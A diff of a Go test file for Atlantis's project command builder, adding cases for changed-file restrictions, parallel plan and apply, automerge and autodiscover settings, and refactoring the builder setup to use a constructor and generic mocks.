DirectoryStructure: map[string]interface{}{ + "directory-1": map[string]interface{}{ + "main.tf": nil, + }, + "directory-2": map[string]interface{}{ + "main.tf": nil, + }, + }, + ModifiedFiles: []string{"directory-2/main.tf"}, + ExpErr: "the dir \"directory-1\" is not in the plan list of this pull request", + }, + { + Description: "planning a file of the changed files", + Cmd: events.CommentCommand{ + Name: command.Plan, + RepoRelDir: "directory-1", + Workspace: "default", + }, + DirectoryStructure: map[string]interface{}{ + "directory-1": map[string]interface{}{ + "main.tf": nil, + }, + "directory-2": map[string]interface{}{ + "main.tf": nil, + }, + }, + ModifiedFiles: []string{"directory-1/main.tf"}, + }, + { + Description: "planning a project outside of the requested changed files", + Cmd: events.CommentCommand{ + Name: command.Plan, + Workspace: "default", + ProjectName: "project-1", + }, + AtlantisYAML: ` +version: 3 +projects: +- name: project-1 + dir: directory-1 +- name: project-2 + dir: directory-2 +`, + DirectoryStructure: map[string]interface{}{ + "directory-1": map[string]interface{}{ + "main.tf": nil, + }, + "directory-2": map[string]interface{}{ + "main.tf": nil, + }, + }, + ModifiedFiles: []string{"directory-2/main.tf"}, + ExpErr: "the following directories are present in the pull request but not in the requested project:\ndirectory-2", + }, + { + Description: "planning a project defined in the requested changed files", + Cmd: events.CommentCommand{ + Name: command.Plan, + Workspace: "default", + ProjectName: "project-1", + }, + AtlantisYAML: ` +version: 3 +projects: +- name: project-1 + dir: directory-1 +- name: project-2 + dir: directory-2 +`, + DirectoryStructure: map[string]interface{}{ + "directory-1": map[string]interface{}{ + "main.tf": nil, + }, + "directory-2": map[string]interface{}{ + "main.tf": nil, + }, + }, + ModifiedFiles: []string{"directory-1/main.tf"}, + }, + } + + logger := logging.NewNoopLogger(t) + scope, _, _ := metrics.NewLoggingScope(logger, "atlantis") + userConfig := defaultUserConfig + userConfig.RestrictFileList = true + + for _, c := range cases { + t.Run(c.Description+"_"+command.Plan.String(), func(t *testing.T) { + RegisterMockTestingT(t) + tmpDir := DirStructure(t, c.DirectoryStructure) + + workingDir := mocks.NewMockWorkingDir() + When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Any[string]())).ThenReturn(tmpDir, nil) + When(workingDir.GetWorkingDir(Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil) + vcsClient := vcsmocks.NewMockClient() + When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), + Any[models.PullRequest]())).ThenReturn(c.ModifiedFiles, nil) + if c.AtlantisYAML != "" { + err := os.WriteFile(filepath.Join(tmpDir, valid.DefaultAtlantisFile), []byte(c.AtlantisYAML), 0600) + Ok(t, err) + } + + globalCfgArgs := valid.GlobalCfgArgs{ + AllowAllRepoSettings: true, + } + + terraformClient := tfclientmocks.NewMockClient() + + builder := events.NewProjectCommandBuilder( + false, + &config.ParserValidator{}, + &events.DefaultProjectFinder{}, + vcsClient, + workingDir, + events.NewDefaultWorkingDirLocker(), + valid.NewGlobalCfgFromArgs(globalCfgArgs), + &events.DefaultPendingPlanFinder{}, + &events.CommentParser{ExecutableName: "atlantis"}, + userConfig.SkipCloneNoChanges, + userConfig.EnableRegExpCmd, + userConfig.EnableAutoMerge, + userConfig.EnableParallelPlan, + userConfig.EnableParallelApply, + userConfig.AutoDetectModuleFiles, + userConfig.AutoplanFileList, + userConfig.RestrictFileList, + userConfig.SilenceNoProjects, + userConfig.IncludeGitUntrackedFiles, + userConfig.AutoDiscoverMode, + scope, + terraformClient, + ) + + var actCtxs []command.ProjectContext + var err error + cmd := c.Cmd + actCtxs, err = builder.BuildPlanCommands(&command.Context{ + Log: logger, + Scope: scope, + }, &cmd) + + if c.ExpErr != "" { + ErrEquals(t, c.ExpErr, err) + return + } + Ok(t, err) + Equals(t, 1, len(actCtxs)) + }) + } +} + func TestDefaultProjectCommandBuilder_BuildPlanCommands(t *testing.T) { // expCtxFields define the ctx fields we're going to assert on. // Since we're focused on autoplanning here, we don't validate all the // fields so the tests are more obvious and targeted. type expCtxFields struct { - ProjectName string - RepoRelDir string - Workspace string + ProjectName string + RepoRelDir string + Workspace string + Automerge bool + AutoDiscover valid.AutoDiscover + ExpParallelPlan bool + ExpParallelApply bool } cases := map[string]struct { - DirStructure map[string]interface{} - AtlantisYAML string - ModifiedFiles []string - Exp []expCtxFields + AutoMergeUserCfg bool + ParallelPlanEnabledUserCfg bool + ParallelApplyEnabledUserCfg bool + DirStructure map[string]interface{} + AtlantisYAML string + ModifiedFiles []string + Exp []expCtxFields }{ "no atlantis.yaml": { DirStructure: map[string]interface{}{ @@ -432,6 +894,114 @@ func TestDefaultProjectCommandBuilder_BuildPlanCommands(t *testing.T) { }, }, }, + "no projects in atlantis.yaml with parallel operations in atlantis.yaml": { + DirStructure: map[string]interface{}{ + "project1": map[string]interface{}{ + "main.tf": nil, + }, + "project2": map[string]interface{}{ + "main.tf": nil, + }, + }, + AtlantisYAML: ` +version: 3 +automerge: true +parallel_plan: true +parallel_apply: true +`, + ModifiedFiles: []string{"project1/main.tf", "project2/main.tf"}, + Exp: []expCtxFields{ + { + ProjectName: "", + RepoRelDir: "project1", + Workspace: "default", + Automerge: true, + ExpParallelApply: true, + ExpParallelPlan: true, + }, + { + ProjectName: "", + RepoRelDir: "project2", + Workspace: "default", + Automerge: true, + ExpParallelApply: true, + ExpParallelPlan: true, + }, + }, + }, + "no projects in atlantis.yaml with parallel operations and automerge not in atlantis.yaml, but in user conf": { + DirStructure: map[string]interface{}{ + "project1": map[string]interface{}{ + "main.tf": nil, + }, + "project2": map[string]interface{}{ + "main.tf": nil, + }, + }, + AtlantisYAML: ` +version: 3 +`, + AutoMergeUserCfg: true, + ParallelPlanEnabledUserCfg: true, + ParallelApplyEnabledUserCfg: true, + ModifiedFiles: []string{"project1/main.tf", "project2/main.tf"}, + Exp: []expCtxFields{ + { + ProjectName: "", + RepoRelDir: "project1", + Workspace: "default", + Automerge: true, + ExpParallelApply: true, + ExpParallelPlan: true, + }, + { + ProjectName: "", + RepoRelDir: "project2", + Workspace: "default", + Automerge: true, + ExpParallelApply: true, + ExpParallelPlan: true, + }, + }, + }, + "no projects in atlantis.yaml with parallel operations and automerge set to false in atlantis.yaml and true in user conf": { + DirStructure: map[string]interface{}{ + "project1": map[string]interface{}{ + "main.tf": nil, + }, + "project2": map[string]interface{}{ + "main.tf": nil, + }, + }, + AtlantisYAML: ` +version: 3 +automerge: false +parallel_plan: false +parallel_apply: false +`, + AutoMergeUserCfg: true, + ParallelPlanEnabledUserCfg: true, + ParallelApplyEnabledUserCfg: true, + ModifiedFiles: []string{"project1/main.tf", "project2/main.tf"}, + Exp: []expCtxFields{ + { + ProjectName: "", + RepoRelDir: "project1", + Workspace: "default", + Automerge: false, + ExpParallelApply: false, + ExpParallelPlan: false, + }, + { + ProjectName: "", + RepoRelDir: "project2", + Workspace: "default", + Automerge: false, + ExpParallelApply: false, + ExpParallelPlan: false, + }, + }, + }, "no modified files": { DirStructure: map[string]interface{}{ "main.tf": nil, @@ -475,41 +1045,203 @@ projects: }, }, }, - } - for name, c := range cases { - t.Run(name, func(t *testing.T) { - RegisterMockTestingT(t) - tmpDir, cleanup := DirStructure(t, c.DirStructure) - defer cleanup() - - workingDir := mocks.NewMockWorkingDir() - When(workingDir.Clone(matchers.AnyPtrToLoggingSimpleLogger(), matchers.AnyModelsRepo(), matchers.AnyModelsPullRequest(), AnyString())).ThenReturn(tmpDir, false, nil) - When(workingDir.GetWorkingDir(matchers.AnyModelsRepo(), matchers.AnyModelsPullRequest(), AnyString())).ThenReturn(tmpDir, nil) - vcsClient := vcsmocks.NewMockClient() - When(vcsClient.GetModifiedFiles(matchers.AnyModelsRepo(), matchers.AnyModelsPullRequest())).ThenReturn(c.ModifiedFiles, nil) - if c.AtlantisYAML != "" { - err := ioutil.WriteFile(filepath.Join(tmpDir, yaml.AtlantisYAMLFilename), []byte(c.AtlantisYAML), 0600) - Ok(t, err) - } - - builder := &events.DefaultProjectCommandBuilder{ - WorkingDirLocker: events.NewDefaultWorkingDirLocker(), - WorkingDir: workingDir, - ParserValidator: &yaml.ParserValidator{}, - VCSClient: vcsClient, - ProjectFinder: &events.DefaultProjectFinder{}, - CommentBuilder: &events.CommentParser{}, - GlobalCfg: valid.NewGlobalCfg(true, false, false), - SkipCloneNoChanges: false, - } - - ctxs, err := builder.BuildPlanCommands( - &events.CommandContext{}, - &events.CommentCommand{ + "follow autodiscover enabled config": { + DirStructure: map[string]interface{}{ + "project1": map[string]interface{}{ + "main.tf": nil, + }, + "project2": map[string]interface{}{ + "main.tf": nil, + }, + "project3": map[string]interface{}{ + "main.tf": nil, + }, + }, + AtlantisYAML: `version: 3 +autodiscover: + mode: enabled +projects: +- name: project1-custom-name + dir: project1`, + ModifiedFiles: []string{"project1/main.tf", "project2/main.tf"}, + // project2 is autodiscovered, whereas project1 is not + Exp: []expCtxFields{ + { + ProjectName: "project1-custom-name", + RepoRelDir: "project1", + Workspace: "default", + }, + { + ProjectName: "", + RepoRelDir: "project2", + Workspace: "default", + }, + }, + }, + "autodiscover enabled but project excluded by autodiscover ignore": { + DirStructure: map[string]interface{}{ + "project1": map[string]interface{}{ + "main.tf": nil, + }, + "project2": map[string]interface{}{ + "main.tf": nil, + }, + "project3": map[string]interface{}{ + "main.tf": nil, + }, + }, + AtlantisYAML: `version: 3 +autodiscover: + mode: enabled + ignore_paths: + - project3 +projects: +- name: project1-custom-name + dir: project1`, + ModifiedFiles: []string{"project1/main.tf", "project2/main.tf", "project3/main.tf"}, + // project2 is autodiscovered, but autodiscover was ignored for project3 + // project1 is configured explicitly so added + Exp: []expCtxFields{ + { + ProjectName: "project1-custom-name", + RepoRelDir: "project1", + Workspace: "default", + }, + { + ProjectName: "", + RepoRelDir: "project2", + Workspace: "default", + }, + }, + }, + "autodiscover enabled but ignoring explicit project": { + DirStructure: map[string]interface{}{ + "project1": map[string]interface{}{ + "main.tf": nil, + }, + "project2": map[string]interface{}{ + "main.tf": nil, + }, + "project3": map[string]interface{}{ + "main.tf": nil, + }, + }, + AtlantisYAML: `version: 3 +autodiscover: + mode: enabled + ignore_paths: + - project1 +projects: +- name: project1-custom-name + dir: project1`, + ModifiedFiles: []string{"project1/main.tf", "project2/main.tf"}, + // project2 is autodiscover-ignored, but configured explicitly so added + // project1 is autodiscoverd as normal + Exp: []expCtxFields{ + { + ProjectName: "project1-custom-name", + RepoRelDir: "project1", + Workspace: "default", + }, + { + ProjectName: "", + RepoRelDir: "project2", + Workspace: "default", + }, + }, + }, + "autodiscover enabled but project excluded by empty when_modified": { + DirStructure: map[string]interface{}{ + "project1": map[string]interface{}{ + "main.tf": nil, + }, + "project2": map[string]interface{}{ + "main.tf": nil, + }, + "project3": map[string]interface{}{ + "main.tf": nil, + }, + }, + AtlantisYAML: `version: 3 +autodiscover: + mode: enabled +projects: +- dir: project1 + autoplan: + when_modified: []`, + ModifiedFiles: []string{"project1/main.tf", "project2/main.tf"}, + Exp: []expCtxFields{ + { + ProjectName: "", + RepoRelDir: "project2", + Workspace: "default", + }, + }, + }, + } + + logger := logging.NewNoopLogger(t) + scope, _, _ := metrics.NewLoggingScope(logger, "atlantis") + userConfig := defaultUserConfig + + for name, c := range cases { + t.Run(name, func(t *testing.T) { + RegisterMockTestingT(t) + tmpDir := DirStructure(t, c.DirStructure) + + workingDir := mocks.NewMockWorkingDir() + When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Any[string]())).ThenReturn(tmpDir, nil) + When(workingDir.GetWorkingDir(Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil) + vcsClient := vcsmocks.NewMockClient() + When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), + Any[models.PullRequest]())).ThenReturn(c.ModifiedFiles, nil) + if c.AtlantisYAML != "" { + err := os.WriteFile(filepath.Join(tmpDir, valid.DefaultAtlantisFile), []byte(c.AtlantisYAML), 0600) + Ok(t, err) + } + + globalCfgArgs := valid.GlobalCfgArgs{ + AllowAllRepoSettings: true, + } + + terraformClient := tfclientmocks.NewMockClient() + + builder := events.NewProjectCommandBuilder( + false, + &config.ParserValidator{}, + &events.DefaultProjectFinder{}, + vcsClient, + workingDir, + events.NewDefaultWorkingDirLocker(), + valid.NewGlobalCfgFromArgs(globalCfgArgs), + &events.DefaultPendingPlanFinder{}, + &events.CommentParser{ExecutableName: "atlantis"}, + userConfig.SkipCloneNoChanges, + userConfig.EnableRegExpCmd, + userConfig.EnableAutoMerge, + c.ParallelPlanEnabledUserCfg, + c.ParallelApplyEnabledUserCfg, + userConfig.AutoDetectModuleFiles, + userConfig.AutoplanFileList, + userConfig.RestrictFileList, + userConfig.SilenceNoProjects, + userConfig.IncludeGitUntrackedFiles, + userConfig.AutoDiscoverMode, + scope, + terraformClient, + ) + + ctxs, err := builder.BuildPlanCommands( + &command.Context{ + Log: logger, + Scope: scope, + }, + &events.CommentCommand{ RepoRelDir: "", Flags: nil, - Name: models.PlanCommand, - Verbose: false, + Name: command.Plan, + Verbose: true, Workspace: "", ProjectName: "", }) @@ -520,6 +1252,8 @@ projects: Equals(t, expCtx.ProjectName, actCtx.ProjectName) Equals(t, expCtx.RepoRelDir, actCtx.RepoRelDir) Equals(t, expCtx.Workspace, actCtx.Workspace) + Equals(t, expCtx.ExpParallelPlan, actCtx.ParallelPlanEnabled) + Equals(t, expCtx.ExpParallelApply, actCtx.ParallelApplyEnabled) } }) } @@ -530,7 +1264,7 @@ projects: // In this case we should apply all outstanding plans. func TestDefaultProjectCommandBuilder_BuildMultiApply(t *testing.T) { RegisterMockTestingT(t) - tmpDir, cleanup := DirStructure(t, map[string]interface{}{ + tmpDir := DirStructure(t, map[string]interface{}{ "workspace1": map[string]interface{}{ "project1": map[string]interface{}{ "main.tf": nil, @@ -552,7 +1286,6 @@ func TestDefaultProjectCommandBuilder_BuildMultiApply(t *testing.T) { }, }, }) - defer cleanup() // Initialize git repos in each workspace so that the .tfplan files get // picked up. runCmd(t, filepath.Join(tmpDir, "workspace1"), "git", "init") @@ -560,28 +1293,52 @@ func TestDefaultProjectCommandBuilder_BuildMultiApply(t *testing.T) { workingDir := mocks.NewMockWorkingDir() When(workingDir.GetPullDir( - matchers.AnyModelsRepo(), - matchers.AnyModelsPullRequest())). + Any[models.Repo](), + Any[models.PullRequest]())). ThenReturn(tmpDir, nil) - builder := &events.DefaultProjectCommandBuilder{ - WorkingDirLocker: events.NewDefaultWorkingDirLocker(), - WorkingDir: workingDir, - ParserValidator: &yaml.ParserValidator{}, - VCSClient: nil, - ProjectFinder: &events.DefaultProjectFinder{}, - PendingPlanFinder: &events.DefaultPendingPlanFinder{}, - CommentBuilder: &events.CommentParser{}, - GlobalCfg: valid.NewGlobalCfg(false, false, false), - SkipCloneNoChanges: false, - } + logger := logging.NewNoopLogger(t) + userConfig := defaultUserConfig + + globalCfgArgs := valid.GlobalCfgArgs{} + scope, _, _ := metrics.NewLoggingScope(logger, "atlantis") + + terraformClient := tfclientmocks.NewMockClient() + + builder := events.NewProjectCommandBuilder( + false, + &config.ParserValidator{}, + &events.DefaultProjectFinder{}, + nil, + workingDir, + events.NewDefaultWorkingDirLocker(), + valid.NewGlobalCfgFromArgs(globalCfgArgs), + &events.DefaultPendingPlanFinder{}, + &events.CommentParser{ExecutableName: "atlantis"}, + userConfig.SkipCloneNoChanges, + userConfig.EnableRegExpCmd, + userConfig.EnableAutoMerge, + userConfig.EnableParallelPlan, + userConfig.EnableParallelApply, + userConfig.AutoDetectModuleFiles, + userConfig.AutoplanFileList, + userConfig.RestrictFileList, + userConfig.SilenceNoProjects, + userConfig.IncludeGitUntrackedFiles, + userConfig.AutoDiscoverMode, + scope, + terraformClient, + ) ctxs, err := builder.BuildApplyCommands( - &events.CommandContext{}, + &command.Context{ + Log: logger, + Scope: scope, + }, &events.CommentCommand{ RepoRelDir: "", Flags: nil, - Name: models.ApplyCommand, + Name: command.Apply, Verbose: false, Workspace: "", ProjectName: "", @@ -604,12 +1361,11 @@ func TestDefaultProjectCommandBuilder_WrongWorkspaceName(t *testing.T) { RegisterMockTestingT(t) workingDir := mocks.NewMockWorkingDir() - tmpDir, cleanup := DirStructure(t, map[string]interface{}{ + tmpDir := DirStructure(t, map[string]interface{}{ "pulldir": map[string]interface{}{ "notconfigured": map[string]interface{}{}, }, }) - defer cleanup() repoDir := filepath.Join(tmpDir, "pulldir/notconfigured") yamlCfg := `version: 3 @@ -619,40 +1375,58 @@ projects: - dir: . workspace: staging ` - err := ioutil.WriteFile(filepath.Join(repoDir, yaml.AtlantisYAMLFilename), []byte(yamlCfg), 0600) + err := os.WriteFile(filepath.Join(repoDir, valid.DefaultAtlantisFile), []byte(yamlCfg), 0600) Ok(t, err) - When(workingDir.Clone( - matchers.AnyPtrToLoggingSimpleLogger(), - matchers.AnyModelsRepo(), - matchers.AnyModelsPullRequest(), - AnyString())).ThenReturn(repoDir, false, nil) - When(workingDir.GetWorkingDir( - matchers.AnyModelsRepo(), - matchers.AnyModelsPullRequest(), - AnyString())).ThenReturn(repoDir, nil) - - builder := &events.DefaultProjectCommandBuilder{ - WorkingDirLocker: events.NewDefaultWorkingDirLocker(), - WorkingDir: workingDir, - ParserValidator: &yaml.ParserValidator{}, - VCSClient: nil, - ProjectFinder: &events.DefaultProjectFinder{}, - CommentBuilder: &events.CommentParser{}, - GlobalCfg: valid.NewGlobalCfg(true, false, false), - SkipCloneNoChanges: false, - } - - ctx := &events.CommandContext{ + When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Any[string]())).ThenReturn(repoDir, nil) + When(workingDir.GetWorkingDir(Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(repoDir, nil) + + globalCfgArgs := valid.GlobalCfgArgs{ + AllowAllRepoSettings: true, + } + logger := logging.NewNoopLogger(t) + scope, _, _ := metrics.NewLoggingScope(logger, "atlantis") + userConfig := defaultUserConfig + + terraformClient := tfclientmocks.NewMockClient() + + builder := events.NewProjectCommandBuilder( + false, + &config.ParserValidator{}, + &events.DefaultProjectFinder{}, + nil, + workingDir, + events.NewDefaultWorkingDirLocker(), + valid.NewGlobalCfgFromArgs(globalCfgArgs), + &events.DefaultPendingPlanFinder{}, + &events.CommentParser{ExecutableName: "atlantis"}, + userConfig.SkipCloneNoChanges, + userConfig.EnableRegExpCmd, + userConfig.EnableAutoMerge, + userConfig.EnableParallelPlan, + userConfig.EnableParallelApply, + userConfig.AutoDetectModuleFiles, + userConfig.AutoplanFileList, + userConfig.RestrictFileList, + userConfig.SilenceNoProjects, + userConfig.IncludeGitUntrackedFiles, + userConfig.AutoDiscoverMode, + scope, + terraformClient, + ) + + ctx := &command.Context{ HeadRepo: models.Repo{}, Pull: models.PullRequest{}, User: models.User{}, - Log: logging.NewNoopLogger(), + Log: logger, + Scope: scope, } _, err = builder.BuildPlanCommands(ctx, &events.CommentCommand{ RepoRelDir: ".", Flags: nil, - Name: models.PlanCommand, + Name: command.Plan, Verbose: false, Workspace: "notconfigured", ProjectName: "", @@ -680,37 +1454,65 @@ func TestDefaultProjectCommandBuilder_EscapeArgs(t *testing.T) { }, } + logger := logging.NewNoopLogger(t) + scope, _, _ := metrics.NewLoggingScope(logger, "atlantis") + userConfig := defaultUserConfig + for _, c := range cases { t.Run(strings.Join(c.ExtraArgs, " "), func(t *testing.T) { RegisterMockTestingT(t) - tmpDir, cleanup := DirStructure(t, map[string]interface{}{ + tmpDir := DirStructure(t, map[string]interface{}{ "main.tf": nil, }) - defer cleanup() workingDir := mocks.NewMockWorkingDir() - When(workingDir.Clone(matchers.AnyPtrToLoggingSimpleLogger(), matchers.AnyModelsRepo(), matchers.AnyModelsPullRequest(), AnyString())).ThenReturn(tmpDir, false, nil) - When(workingDir.GetWorkingDir(matchers.AnyModelsRepo(), matchers.AnyModelsPullRequest(), AnyString())).ThenReturn(tmpDir, nil) + When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Any[string]())).ThenReturn(tmpDir, nil) + When(workingDir.GetWorkingDir(Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil) vcsClient := vcsmocks.NewMockClient() - When(vcsClient.GetModifiedFiles(matchers.AnyModelsRepo(), matchers.AnyModelsPullRequest())).ThenReturn([]string{"main.tf"}, nil) - - builder := &events.DefaultProjectCommandBuilder{ - WorkingDirLocker: events.NewDefaultWorkingDirLocker(), - WorkingDir: workingDir, - ParserValidator: &yaml.ParserValidator{}, - VCSClient: vcsClient, - ProjectFinder: &events.DefaultProjectFinder{}, - CommentBuilder: &events.CommentParser{}, - GlobalCfg: valid.NewGlobalCfg(true, false, false), - SkipCloneNoChanges: false, + When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), + Any[models.PullRequest]())).ThenReturn([]string{"main.tf"}, nil) + + globalCfgArgs := valid.GlobalCfgArgs{ + AllowAllRepoSettings: true, } - var actCtxs []models.ProjectCommandContext + terraformClient := tfclientmocks.NewMockClient() + + builder := events.NewProjectCommandBuilder( + false, + &config.ParserValidator{}, + &events.DefaultProjectFinder{}, + vcsClient, + workingDir, + events.NewDefaultWorkingDirLocker(), + valid.NewGlobalCfgFromArgs(globalCfgArgs), + &events.DefaultPendingPlanFinder{}, + &events.CommentParser{ExecutableName: "atlantis"}, + userConfig.SkipCloneNoChanges, + userConfig.EnableRegExpCmd, + userConfig.EnableAutoMerge, + userConfig.EnableParallelPlan, + userConfig.EnableParallelApply, + userConfig.AutoDetectModuleFiles, + userConfig.AutoplanFileList, + userConfig.RestrictFileList, + userConfig.SilenceNoProjects, + userConfig.IncludeGitUntrackedFiles, + userConfig.AutoDiscoverMode, + scope, + terraformClient, + ) + + var actCtxs []command.ProjectContext var err error - actCtxs, err = builder.BuildPlanCommands(&events.CommandContext{}, &events.CommentCommand{ + actCtxs, err = builder.BuildPlanCommands(&command.Context{ + Log: logger, + Scope: scope, + }, &events.CommentCommand{ RepoRelDir: ".", Flags: c.ExtraArgs, - Name: models.PlanCommand, + Name: command.Plan, Verbose: false, Workspace: "default", }) @@ -728,9 +1530,10 @@ func TestDefaultProjectCommandBuilder_TerraformVersion(t *testing.T) { // If terraform configuration is used, result should be `0.12.8`. // If project configuration is used, result should be `0.12.6`. // If default is to be used, result should be `nil`. + baseVersionConfig := ` terraform { - required_version = "%s0.12.8" + required_version = "0.12.8" } ` @@ -741,57 +1544,26 @@ projects: terraform_version: v0.12.6 ` - exactSymbols := []string{"", "="} - nonExactSymbols := []string{">", ">=", "<", "<=", "~="} - type testCase struct { DirStructure map[string]interface{} AtlantisYAML string ModifiedFiles []string - Exp map[string][]int + Exp map[string]string } testCases := make(map[string]testCase) - for _, exactSymbol := range exactSymbols { - testCases[fmt.Sprintf("exact version in terraform config using \"%s\"", exactSymbol)] = testCase{ - DirStructure: map[string]interface{}{ - "project1": map[string]interface{}{ - "main.tf": fmt.Sprintf(baseVersionConfig, exactSymbol), - }, - }, - ModifiedFiles: []string{"project1/main.tf"}, - Exp: map[string][]int{ - "project1": {0, 12, 8}, - }, - } - } - - for _, nonExactSymbol := range nonExactSymbols { - testCases[fmt.Sprintf("non-exact version in terraform config using \"%s\"", nonExactSymbol)] = testCase{ - DirStructure: map[string]interface{}{ - "project1": map[string]interface{}{ - "main.tf": fmt.Sprintf(baseVersionConfig, nonExactSymbol), - }, - }, - ModifiedFiles: []string{"project1/main.tf"}, - Exp: map[string][]int{ - "project1": nil, - }, - } - } - // atlantis.yaml should take precedence over terraform config testCases["with project config and terraform config"] = testCase{ DirStructure: map[string]interface{}{ "project1": map[string]interface{}{ - "main.tf": fmt.Sprintf(baseVersionConfig, exactSymbols[0]), + "main.tf": baseVersionConfig, }, - yaml.AtlantisYAMLFilename: atlantisYamlContent, + valid.DefaultAtlantisFile: atlantisYamlContent, }, ModifiedFiles: []string{"project1/main.tf", "project2/main.tf"}, - Exp: map[string][]int{ - "project1": {0, 12, 6}, + Exp: map[string]string{ + "project1": "0.12.6", }, } @@ -800,11 +1572,11 @@ projects: "project1": map[string]interface{}{ "main.tf": nil, }, - yaml.AtlantisYAMLFilename: atlantisYamlContent, + valid.DefaultAtlantisFile: atlantisYamlContent, }, ModifiedFiles: []string{"project1/main.tf"}, - Exp: map[string][]int{ - "project1": {0, 12, 6}, + Exp: map[string]string{ + "project1": "0.12.6", }, } @@ -815,75 +1587,103 @@ projects: }, }, ModifiedFiles: []string{"project1/main.tf", "project2/main.tf"}, - Exp: map[string][]int{ - "project1": nil, + Exp: map[string]string{ + "project1": "", }, } testCases["project with different terraform config"] = testCase{ DirStructure: map[string]interface{}{ "project1": map[string]interface{}{ - "main.tf": fmt.Sprintf(baseVersionConfig, exactSymbols[0]), + "main.tf": baseVersionConfig, }, "project2": map[string]interface{}{ - "main.tf": strings.Replace(fmt.Sprintf(baseVersionConfig, exactSymbols[0]), "0.12.8", "0.12.9", -1), + "main.tf": strings.Replace(baseVersionConfig, "0.12.8", "0.12.9", -1), }, }, ModifiedFiles: []string{"project1/main.tf", "project2/main.tf"}, - Exp: map[string][]int{ - "project1": {0, 12, 8}, - "project2": {0, 12, 9}, + Exp: map[string]string{ + "project1": "0.12.8", + "project2": "0.12.9", }, } + logger := logging.NewNoopLogger(t) + scope, _, _ := metrics.NewLoggingScope(logger, "atlantis") + userConfig := defaultUserConfig + for name, testCase := range testCases { t.Run(name, func(t *testing.T) { RegisterMockTestingT(t) - tmpDir, cleanup := DirStructure(t, testCase.DirStructure) + tmpDir := DirStructure(t, testCase.DirStructure) - defer cleanup() vcsClient := vcsmocks.NewMockClient() - When(vcsClient.GetModifiedFiles(matchers.AnyModelsRepo(), matchers.AnyModelsPullRequest())).ThenReturn(testCase.ModifiedFiles, nil) - + When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), + Any[models.PullRequest]())).ThenReturn(testCase.ModifiedFiles, nil) workingDir := mocks.NewMockWorkingDir() - When(workingDir.Clone( - matchers.AnyPtrToLoggingSimpleLogger(), - matchers.AnyModelsRepo(), - matchers.AnyModelsPullRequest(), - AnyString())).ThenReturn(tmpDir, false, nil) - - When(workingDir.GetWorkingDir( - matchers.AnyModelsRepo(), - matchers.AnyModelsPullRequest(), - AnyString())).ThenReturn(tmpDir, nil) - - builder := &events.DefaultProjectCommandBuilder{ - WorkingDirLocker: events.NewDefaultWorkingDirLocker(), - WorkingDir: workingDir, - VCSClient: vcsClient, - ParserValidator: &yaml.ParserValidator{}, - ProjectFinder: &events.DefaultProjectFinder{}, - CommentBuilder: &events.CommentParser{}, - GlobalCfg: valid.NewGlobalCfg(true, false, false), - SkipCloneNoChanges: false, + When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Any[string]())).ThenReturn(tmpDir, nil) + When(workingDir.GetWorkingDir(Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil) + + globalCfgArgs := valid.GlobalCfgArgs{ + AllowAllRepoSettings: true, } + terraformClient := tfclientmocks.NewMockClient() + When(terraformClient.DetectVersion(Any[logging.SimpleLogging](), Any[string]())).Then(func(params []Param) ReturnValues { + projectName := filepath.Base(params[1].(string)) + testVersion := testCase.Exp[projectName] + if testVersion != "" { + v, _ := version.NewVersion(testVersion) + return []ReturnValue{v} + } + return nil + }) + + builder := events.NewProjectCommandBuilder( + false, + &config.ParserValidator{}, + &events.DefaultProjectFinder{}, + vcsClient, + workingDir, + events.NewDefaultWorkingDirLocker(), + valid.NewGlobalCfgFromArgs(globalCfgArgs), + &events.DefaultPendingPlanFinder{}, + &events.CommentParser{ExecutableName: "atlantis"}, + userConfig.SkipCloneNoChanges, + userConfig.EnableRegExpCmd, + userConfig.EnableAutoMerge, + userConfig.EnableParallelPlan, + userConfig.EnableParallelApply, + userConfig.AutoDetectModuleFiles, + userConfig.AutoplanFileList, + userConfig.RestrictFileList, + userConfig.SilenceNoProjects, + userConfig.IncludeGitUntrackedFiles, + userConfig.AutoDiscoverMode, + scope, + terraformClient, + ) + actCtxs, err := builder.BuildPlanCommands( - &events.CommandContext{}, + &command.Context{ + Log: logger, + Scope: scope, + }, &events.CommentCommand{ RepoRelDir: "", Flags: nil, - Name: models.PlanCommand, + Name: command.Plan, Verbose: false, }) Ok(t, err) Equals(t, len(testCase.Exp), len(actCtxs)) for _, actCtx := range actCtxs { - if testCase.Exp[actCtx.RepoRelDir] != nil { - Assert(t, actCtx.TerraformVersion != nil, "TerraformVersion is nil.") - Equals(t, testCase.Exp[actCtx.RepoRelDir], actCtx.TerraformVersion.Segments()) + if testCase.Exp[actCtx.RepoRelDir] != "" { + Assert(t, actCtx.TerraformVersion != nil, "TerraformVersion is nil, not %s for %s", testCase.Exp[actCtx.RepoRelDir], actCtx.RepoRelDir) + Equals(t, testCase.Exp[actCtx.RepoRelDir], actCtx.TerraformVersion.String()) } else { Assert(t, actCtx.TerraformVersion == nil, "TerraformVersion is supposed to be nil.") } @@ -894,39 +1694,515 @@ projects: // Test that we don't clone the repo if there were no changes based on the atlantis.yaml file. func TestDefaultProjectCommandBuilder_SkipCloneNoChanges(t *testing.T) { - atlantisYAML := ` + cases := []struct { + AtlantisYAML string + ExpectedCtxs int + ExpectedClones InvocationCountMatcher + ModifiedFiles []string + IncludeGitUntrackedFiles bool + }{ + { + AtlantisYAML: ` +version: 3 +projects: +- dir: dir1`, + ExpectedCtxs: 0, + ExpectedClones: Never(), + ModifiedFiles: []string{"dir2/main.tf"}, + IncludeGitUntrackedFiles: false, + }, + { + AtlantisYAML: ` version: 3 